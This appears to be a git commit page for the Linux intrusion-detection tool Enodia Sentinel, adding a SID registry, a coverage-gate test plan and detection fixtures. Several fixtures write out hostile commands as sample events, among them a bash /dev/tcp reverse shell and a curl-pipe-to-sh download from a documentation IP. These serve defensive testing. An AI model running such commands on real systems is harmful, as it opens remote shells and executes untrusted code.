Add enrichment and SID coverage gates

This commit is contained in:
Luna 2026-07-08 17:05:17 -07:00
parent 93ac47dd82
commit 66472134d8
32 changed files with 1623 additions and 31 deletions

View file

@ -324,7 +324,11 @@ enodia-sentinel respond plan <incident-id> --json
Builds a dry-run response plan from an incident's retained JSON snapshots. The
plan may include evidence preservation, process freeze/terminate candidates,
outbound IP blocks, systemd unit disablement, suspicious-file quarantine,
package-restore lookup, and follow-up verification checks.
package-restore lookup, and follow-up verification checks. Recovery checks stay
read-only too: plans can ask the operator to re-run `fim-check --packages`,
verify package files with `pkgdb-verify`, re-run `rootcheck`, confirm
persistence alerts are gone with `check --json`, and run `watchdog` from another
host to prove the heartbeat/dashboard path is visible.
This command is intentionally read-only: it prints commands for operator review
and never executes them. Each CLI-generated plan is also saved under
@ -405,7 +409,9 @@ enodia-sentinel triage
Reads captured alert JSON snapshots and classifies distinct findings as likely
false positive or review-needed. It suggests config snippets for known benign
noise but never edits config automatically.
noise but never edits config automatically. Suggestions are TOML snippets and
include the source alert `sid` and `classtype` in comments for review/audit
context.
### `watchdog`

View file

@ -76,9 +76,9 @@ Purpose: move from "tell me" to "help me act" without unsafe automation.
fingerprint-bound (content kinds re-alert on further change), support an
optional TTL, and are filtered at the daemon chokepoint, `fim-check`, and the
dashboard integrity API.
- Add richer false-positive suppression suggestions that can emit TOML snippets
- Add richer false-positive suppression suggestions that can emit TOML snippets
but never modify config automatically.
- Add recovery checks:
- Add recovery checks:
"verify package", "re-run rootcheck", "confirm no persistence diff", and
"confirm heartbeat/dashboard visible from watchdog".
@ -173,12 +173,12 @@ turning Sentinel into a noisy rules dump.
custom event rules against captured or fixture events.
- ✅ Generate rule documentation from source defaults: SID, signature, classtype,
event type, match fields, expected false positives, and drill coverage.
- Require a fixture or safe red-team drill for every built-in SID, including
- Require a fixture or safe red-team drill for every built-in SID, including
event-only and correlation SIDs.
- Add compatibility tests for rule JSON/event schema evolution.
- Extend triage so false-positive suggestions are tied to SID/classtype and can
- Extend triage so false-positive suggestions are tied to SID/classtype and can
emit TOML snippets for allowlists, correlation windows, or severity overrides.
- Add post-alert enrichment consistently across detections:
- Add post-alert enrichment consistently across detections:
package owner, executable hash, parent/ancestor chain, remote IP
classification, file mode/owner, recent writes by same lineage, and current
FIM/package/rootcheck status.

View file

@ -4,6 +4,11 @@ Generated from the active exec/syscall rule defaults plus any configured `exec_r
Use `enodia-sentinel rules list/show/test` to inspect rules and validate event fixtures locally.
Built-in event-rule fixtures live in `tests/fixtures/sids/` and can be replayed
with `enodia-sentinel rules test tests/fixtures/sids/<sid>-<slug>.json`.
Non-event built-in SIDs are covered by safe offline drills in `tests/sid_drills.py`;
`python3 -m unittest tests.test_sid_coverage -v` verifies the full registry.
## SID 100001: Program executed from a world-writable directory
- Event: `exec`

View file

@ -44,6 +44,7 @@ Required fields:
| `incident_id` | string or null | Incident grouping id, when enabled. |
| `alerts` | array | `enodia.alert.v1` objects. |
| `processes` | array | Captured process context for alert PIDs. |
| `enrichment` | object | Best-effort post-alert context: package ownership, executable hashes, parent chain, remote IP classification, file metadata, recent watched writes, and local integrity/rootcheck anchor status. |
## `enodia.incident.v1`

View file

@ -0,0 +1,384 @@
# SID Drill Coverage Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
**Goal:** Every built-in SID has a fixture or drill that provably emits it, enforced by an emission-based coverage gate that fails CI when a new detection lands without one.
**Architecture:** A new `enodia_sentinel/sids.py` registry aggregates all 52 built-in SIDs (importing existing constants; inline detector SIDs are tabulated with a sanity test cross-checking the engines). Event-rule SIDs get JSON fixtures under `tests/fixtures/sids/` replayable via `rules test`; all other engines get per-SID drill callables in `tests/sid_drills.py` that invoke the real engine code against fakes. `tests/test_sid_coverage.py` runs everything and asserts emitted sids == registry, both directions.
**Tech Stack:** Python 3.11+ stdlib, `unittest`, existing fake styles (FakeProc/SystemState injection, rootcheck view monkeypatching, temp dirs).
## Global Constraints
- Core `enodia_sentinel` runtime dependencies stay `[]`; no new deps anywhere.
- All new files start with `# SPDX-License-Identifier: GPL-3.0-or-later`.
- Tests are stdlib `unittest`, run via `python3 -m unittest tests.test_<name> -v`.
- No live `/proc`, `/sys`, `ss`, root, or network in drills; everything injected or temp-dir based. (Sole exception: the hidden-process rootcheck drill uses `os.getpid()` so run()'s `os.kill(pid, 0)` re-verification succeeds.)
- Do not renumber or move any existing SID constant.
- No new config keys.
- Work happens in an isolated git worktree; the main checkout has a concurrent session's uncommitted edits (do not touch them).
- Run the full suite (`python3 -m unittest discover -s tests`) before each commit.
## The 52 built-in SIDs
exec rules 100001100004 · detectors 100010100016, 100032, 100033, 100036, 100039, 100048 · fim 100017100020 · pkgdb 100021, 100026, 100027 · rootcheck 100022100025, 100028100031, 100034, 100035, 100037, 100038 · posture 100040100047, 100050, 100051 · syscall rules 100060100066
---
### Task 1: SID registry (`enodia_sentinel/sids.py`)
**Files:**
- Create: `enodia_sentinel/sids.py`
- Test: `tests/test_sids.py`
**Interfaces:**
- Produces: `SidInfo` (frozen dataclass: `sid: int`, `name: str`, `engine: str`, `module: str`), `BUILTIN_SIDS: tuple[SidInfo, ...]`, `all_sids() -> frozenset[int]`, `engine_sids(engine: str) -> frozenset[int]`. Engines: `"exec_rule" | "syscall_rule" | "detector" | "fim" | "pkgdb" | "rootcheck" | "posture"`.
- [x] **Step 1: Write the failing test**
```python
# tests/test_sids.py
# SPDX-License-Identifier: GPL-3.0-or-later
"""The SID registry is unique, complete, and matches the engine sources."""
import unittest
from enodia_sentinel import fim, pkgdb, posture, rootcheck, sids
from enodia_sentinel.detectors import (
credential_access, input_snooper, memory_obfuscation, stealth_network,
)
from enodia_sentinel.events.rules import DEFAULT_EXEC_RULES
from enodia_sentinel.events.syscall_rules import DEFAULT_SYSCALL_RULES
class TestRegistry(unittest.TestCase):
def test_sids_are_unique(self):
nums = [s.sid for s in sids.BUILTIN_SIDS]
self.assertEqual(len(nums), len(set(nums)))
def test_count_and_helpers(self):
self.assertEqual(len(sids.BUILTIN_SIDS), 52)
self.assertEqual(sids.all_sids(),
frozenset(s.sid for s in sids.BUILTIN_SIDS))
self.assertEqual(sids.engine_sids("exec_rule"),
frozenset({100001, 100002, 100003, 100004}))
def test_event_rule_sids_match_engines(self):
self.assertEqual(sids.engine_sids("exec_rule"),
frozenset(r.sid for r in DEFAULT_EXEC_RULES))
self.assertEqual(sids.engine_sids("syscall_rule"),
frozenset(r.sid for r in DEFAULT_SYSCALL_RULES))
def test_registry_uses_the_source_constants(self):
by_sid = {s.sid: s for s in sids.BUILTIN_SIDS}
for const, engine in (
(fim.SID_MODIFIED, "fim"),
(pkgdb.SID_PKGDB, "pkgdb"),
(rootcheck.SID_HIDDEN_PROC, "rootcheck"),
(posture.SID_SSH_ROOT_LOGIN, "posture"),
(input_snooper.SID_INPUT_SNOOPER, "detector"),
(credential_access.SID_CREDENTIAL_ACCESS, "detector"),
(stealth_network.SID_STEALTH_NETWORK, "detector"),
(memory_obfuscation.SID_PROCESS_HIDING_LIBRARY, "detector"),
):
self.assertIn(const, by_sid)
self.assertEqual(by_sid[const].engine, engine)
def test_every_entry_has_name_and_module(self):
for s in sids.BUILTIN_SIDS:
self.assertTrue(s.name)
self.assertTrue(s.module.startswith("enodia_sentinel"))
```
- [x] **Step 2: Run test to verify it fails**
Run: `python3 -m unittest tests.test_sids -v`
Expected: FAIL — missing `tests.test_sids` / `enodia_sentinel.sids`.
- [x] **Step 3: Implement `sids.py`**
```python
# enodia_sentinel/sids.py
# SPDX-License-Identifier: GPL-3.0-or-later
"""Canonical registry of every built-in SID.
Aggregates the constants where they are defined (nothing is renumbered or
moved). The seven core poll detectors carry their sid inline in the Alert
they build, so those rows are tabulated here and cross-checked by
tests/test_sids.py and the emission gate in tests/test_sid_coverage.py.
"""
from __future__ import annotations
from dataclasses import dataclass
from . import fim, pkgdb, posture, rootcheck
from .detectors import (
credential_access, input_snooper, memory_obfuscation, stealth_network,
)
from .events.rules import DEFAULT_EXEC_RULES
from .events.syscall_rules import DEFAULT_SYSCALL_RULES
@dataclass(frozen=True)
class SidInfo:
sid: int
name: str
engine: str # exec_rule|syscall_rule|detector|fim|pkgdb|rootcheck|posture
module: str
def _rule_rows(rules, engine: str, module: str) -> tuple[SidInfo, ...]:
return tuple(
SidInfo(r.sid, f"{engine}.{r.classtype}", engine, module)
for r in rules
)
_DETECTORS = "enodia_sentinel.detectors"
BUILTIN_SIDS: tuple[SidInfo, ...] = (
*_rule_rows(DEFAULT_EXEC_RULES, "exec_rule",
"enodia_sentinel.events.rules"),
*_rule_rows(DEFAULT_SYSCALL_RULES, "syscall_rule",
"enodia_sentinel.events.syscall_rules"),
# Core poll detectors (sids inline in each module's Alert).
SidInfo(100010, "reverse_shell", "detector", f"{_DETECTORS}.reverse_shell"),
SidInfo(100011, "ld_preload", "detector", f"{_DETECTORS}.ld_preload"),
SidInfo(100012, "deleted_exe", "detector", f"{_DETECTORS}.deleted_exe"),
SidInfo(100013, "new_listener", "detector", f"{_DETECTORS}.new_listener"),
SidInfo(100014, "new_suid", "detector", f"{_DETECTORS}.new_suid"),
SidInfo(100015, "persistence", "detector", f"{_DETECTORS}.persistence"),
SidInfo(100016, "egress", "detector", f"{_DETECTORS}.egress"),
SidInfo(input_snooper.SID_INPUT_SNOOPER, "input_snooper", "detector",
f"{_DETECTORS}.input_snooper"),
SidInfo(credential_access.SID_CREDENTIAL_ACCESS, "credential_access",
"detector", f"{_DETECTORS}.credential_access"),
SidInfo(stealth_network.SID_STEALTH_NETWORK, "stealth_network",
"detector", f"{_DETECTORS}.stealth_network"),
SidInfo(memory_obfuscation.SID_MEMORY_OBFUSCATION, "memory_obfuscation",
"detector", f"{_DETECTORS}.memory_obfuscation"),
SidInfo(memory_obfuscation.SID_PROCESS_HIDING_LIBRARY,
"process_hiding_library", "detector",
f"{_DETECTORS}.memory_obfuscation"),
# File & package integrity.
SidInfo(fim.SID_MODIFIED, "fim_modified", "fim", "enodia_sentinel.fim"),
SidInfo(fim.SID_ADDED, "fim_added", "fim", "enodia_sentinel.fim"),
SidInfo(fim.SID_REMOVED, "fim_removed", "fim", "enodia_sentinel.fim"),
SidInfo(fim.SID_PKG, "pkg_verify_mismatch", "fim", "enodia_sentinel.fim"),
SidInfo(pkgdb.SID_PKGDB, "pkgdb_tamper", "pkgdb", "enodia_sentinel.pkgdb"),
SidInfo(pkgdb.SID_SIGLEVEL, "pacman_siglevel_disabled", "pkgdb",
"enodia_sentinel.pkgdb"),
SidInfo(pkgdb.SID_PKGVERIFY, "pkg_signature_mismatch", "pkgdb",
"enodia_sentinel.pkgdb"),
# Rootcheck.
SidInfo(rootcheck.SID_HIDDEN_PROC, "rootkit_hidden_process", "rootcheck",
"enodia_sentinel.rootcheck"),
SidInfo(rootcheck.SID_HIDDEN_MODULE, "rootkit_hidden_module", "rootcheck",
"enodia_sentinel.rootcheck"),
SidInfo(rootcheck.SID_HIDDEN_PORT, "rootkit_hidden_port", "rootcheck",
"enodia_sentinel.rootcheck"),
SidInfo(rootcheck.SID_PROMISC, "promiscuous_interface", "rootcheck",
"enodia_sentinel.rootcheck"),
SidInfo(rootcheck.SID_KNOWN_ROOTKIT_MODULE, "rootkit_known_module",
"rootcheck", "enodia_sentinel.rootcheck"),
SidInfo(rootcheck.SID_TAINTED_MODULE, "rootkit_tainted_module",
"rootcheck", "enodia_sentinel.rootcheck"),
SidInfo(rootcheck.SID_KERNEL_TAINTED, "kernel_tainted", "rootcheck",
"enodia_sentinel.rootcheck"),
SidInfo(rootcheck.SID_HIDDEN_UDP_PORT, "rootkit_hidden_udp_port",
"rootcheck", "enodia_sentinel.rootcheck"),
SidInfo(rootcheck.SID_HIDDEN_RAW_SOCKET, "rootkit_hidden_raw_socket",
"rootcheck", "enodia_sentinel.rootcheck"),
SidInfo(rootcheck.SID_RAW_ICMP_SOCKET, "raw_icmp_socket", "rootcheck",
"enodia_sentinel.rootcheck"),
SidInfo(rootcheck.SID_HIDDEN_PROTOCOL_SOCKET,
"rootkit_hidden_protocol_socket", "rootcheck",
"enodia_sentinel.rootcheck"),
SidInfo(rootcheck.SID_PS_HIDDEN_PROCESS, "rootkit_ps_hidden_process",
"rootcheck", "enodia_sentinel.rootcheck"),
# Posture.
SidInfo(posture.SID_SSH_ROOT_LOGIN, "ssh_root_login", "posture",
"enodia_sentinel.posture"),
SidInfo(posture.SID_SSH_PASSWORD_AUTH, "ssh_password_auth", "posture",
"enodia_sentinel.posture"),
SidInfo(posture.SID_SSH_EMPTY_PASSWORD, "ssh_empty_password", "posture",
"enodia_sentinel.posture"),
SidInfo(posture.SID_SUDO_NOPASSWD, "sudo_nopasswd", "posture",
"enodia_sentinel.posture"),
SidInfo(posture.SID_SUDO_NOAUTH, "sudo_no_authenticate", "posture",
"enodia_sentinel.posture"),
SidInfo(posture.SID_SUDOERS_WRITABLE, "sudoers_writable", "posture",
"enodia_sentinel.posture"),
SidInfo(posture.SID_PATH_WRITABLE, "path_writable", "posture",
"enodia_sentinel.posture"),
SidInfo(posture.SID_SENSITIVE_FILE_PERM, "sensitive_file_perm", "posture",
"enodia_sentinel.posture"),
SidInfo(posture.SID_SYSTEMD_UNIT_WRITABLE, "systemd_unit_writable",
"posture", "enodia_sentinel.posture"),
SidInfo(posture.SID_SYSTEMD_EXEC_UNSAFE, "systemd_exec_unsafe", "posture",
"enodia_sentinel.posture"),
)
def all_sids() -> frozenset[int]:
return frozenset(s.sid for s in BUILTIN_SIDS)
def engine_sids(engine: str) -> frozenset[int]:
return frozenset(s.sid for s in BUILTIN_SIDS if s.engine == engine)
```
- [x] **Step 4: Run the test to verify it passes**
Run: `python3 -m unittest tests.test_sids -v`
Expected: PASS (5 tests).
- [x] **Step 5: Full suite**
Run: `python3 -m unittest discover -s tests` — all pass.
---
### Task 2: Event fixtures + fixture replay test
**Files:**
- Create: `tests/fixtures/sids/100001-tmp-exec.json``100066-mlock.json` (11 files)
- Create: `tests/test_sid_coverage.py` (fixture-replay half; the total gate lands in Task 7)
**Interfaces:**
- Consumes: `ruleops.test_event(cfg, event) -> list[Alert]`, `sids.engine_sids()`.
- Produces: `tests/fixtures/sids/` naming convention `<sid>-<slug>.json`; helper `fixture_sids() -> dict[int, set[int]]` in `tests/test_sid_coverage.py` mapping each fixture's declared sid to the sids its replay emitted. Task 7 reuses it.
- [x] **Step 1: Write the failing test**
```python
# tests/test_sid_coverage.py
# SPDX-License-Identifier: GPL-3.0-or-later
"""Emission-based coverage: every built-in SID has a fixture or drill.
Event-rule SIDs are covered by JSON fixtures under tests/fixtures/sids/
(replayable by operators via `enodia-sentinel rules test <file>`); the other
engines are covered by drills in tests/sid_drills.py. This module replays
and runs all of them for real and asserts the emitted sids match the
registry in enodia_sentinel.sids.
"""
import json
import unittest
from pathlib import Path
from enodia_sentinel import ruleops, sids
from enodia_sentinel.config import Config
FIXTURE_DIR = Path(__file__).resolve().parent / "fixtures" / "sids"
def fixture_sids() -> dict[int, set[int]]:
"""Replay every fixture; map declared sid -> sids actually emitted."""
out: dict[int, set[int]] = {}
for path in sorted(FIXTURE_DIR.glob("*.json")):
declared = int(path.name.split("-", 1)[0])
event = json.loads(path.read_text())
alerts = ruleops.test_event(Config(), event)
out[declared] = {a.sid for a in alerts}
return out
class TestEventFixtures(unittest.TestCase):
def test_every_event_rule_sid_has_an_emitting_fixture(self):
covered = fixture_sids()
wanted = sids.engine_sids("exec_rule") | sids.engine_sids("syscall_rule")
for sid in sorted(wanted):
self.assertIn(sid, covered,
f"no fixture file for sid {sid} in {FIXTURE_DIR}")
self.assertIn(sid, covered[sid],
f"fixture for sid {sid} did not emit it")
def test_fixtures_emit_only_registered_sids(self):
registry = sids.all_sids()
for declared, emitted in fixture_sids().items():
self.assertLessEqual(emitted, registry,
f"fixture {declared} emitted unregistered sids")
```
- [x] **Step 2: Run test to verify it fails**
Run: `python3 -m unittest tests.test_sid_coverage -v`
Expected: FAIL — no fixture for sid 100001 (empty/missing dir).
- [x] **Step 3: Create the 11 fixtures**
`tests/fixtures/sids/100001-tmp-exec.json` — exec from world-writable dir:
```json
{"event": "exec", "pid": 4242, "ppid": 4100, "uid": 1000,
"parent_comm": "bash", "filename": "/tmp/.payload",
"argv": []}
```
`tests/fixtures/sids/100002-reverse-shell-argv.json`:
```json
{"event": "exec", "pid": 4243, "ppid": 4100, "uid": 1000,
"parent_comm": "sshd", "filename": "/usr/bin/bash",
"argv": ["-c", "bash -i >& /dev/tcp/203.0.113.7/443 0>&1"]}
```
`tests/fixtures/sids/100003-web-shell-spawn.json`:
```json
{"event": "exec", "pid": 4244, "ppid": 812, "uid": 33,
"parent_comm": "nginx", "filename": "/usr/bin/sh",
"argv": ["-c", "id"]}
```
`tests/fixtures/sids/100004-curl-pipe-sh.json`:
```json
{"event": "exec", "pid": 4245, "ppid": 4100, "uid": 1000,
"parent_comm": "bash", "filename": "/usr/bin/curl",
"argv": ["-fsSL", "http://203.0.113.7/x.sh | sh"]}
```
`tests/fixtures/sids/100060-mprotect-rwx.json` (PROT_READ|WRITE|EXEC = 7):
```json
{"event": "syscall", "pid": 4250, "ppid": 4100, "uid": 1000,
"comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 7]}
```
`tests/fixtures/sids/100061-mmap-rwx.json`:
```json
{"event": "syscall", "pid": 4251, "ppid": 4100, "uid": 1000,
"comm": "loader", "syscall": "mmap", "args": [0, 4096, 7]}
```
Created and verified:
- `tests/fixtures/sids/100001-tmp-exec.json`
- `tests/fixtures/sids/100002-reverse-shell-argv.json`
- `tests/fixtures/sids/100003-web-shell-spawn.json`
- `tests/fixtures/sids/100004-curl-pipe-sh.json`
- `tests/fixtures/sids/100060-mprotect-rwx.json`
- `tests/fixtures/sids/100061-mmap-rwx.json`
- `tests/fixtures/sids/100062-memfd-create.json`
- `tests/fixtures/sids/100063-ptrace-attach.json`
- `tests/fixtures/sids/100064-seccomp.json`
- `tests/fixtures/sids/100065-process-vm-readv.json`
- `tests/fixtures/sids/100066-mlock.json`
Run: `python3 -m unittest tests.test_sid_coverage -v` — PASS (2 tests).
Run: `python3 -m unittest discover -s tests` — PASS (302 tests).
---
### Task 3: Non-event drills + final emission gate
**Files:**
- Create: `tests/sid_drills.py`
- Update: `tests/test_sid_coverage.py`
- Update: `docs/RULES.md`, `docs/ROADMAP.md`
- [x] Add one safe offline drill callable for every non-event built-in SID.
- [x] Extend `tests.test_sid_coverage` so fixture emissions plus drill emissions
equal `enodia_sentinel.sids.all_sids()` exactly.
- [x] Document fixture replay and drill coverage in `docs/RULES.md`.
- [x] Mark the SID fixture/drill roadmap item complete.
Run: `python3 -m unittest tests.test_sid_coverage -v` — PASS (4 tests).
Run: `python3 -m unittest discover -s tests` — PASS (304 tests).

View file

@ -1,14 +1,14 @@
# SID Drill Coverage Design
**Status:** Draft — design agreed in session Q&A, spec not yet user-reviewed.
No implementation plan written yet.
**Status:** Implemented — registry, event fixtures, offline drills, and the
emission-based coverage gate are in the test suite.
**Goal:** Fixture or drill coverage for every built-in SID, enforced by a
CI gate that cannot rot: adding a detection without a drill fails the suite.
## Context
Enodia Sentinel has 53 built-in SIDs across six engines:
Enodia Sentinel has 52 built-in SIDs across seven engines:
| Range | Engine |
|---|---|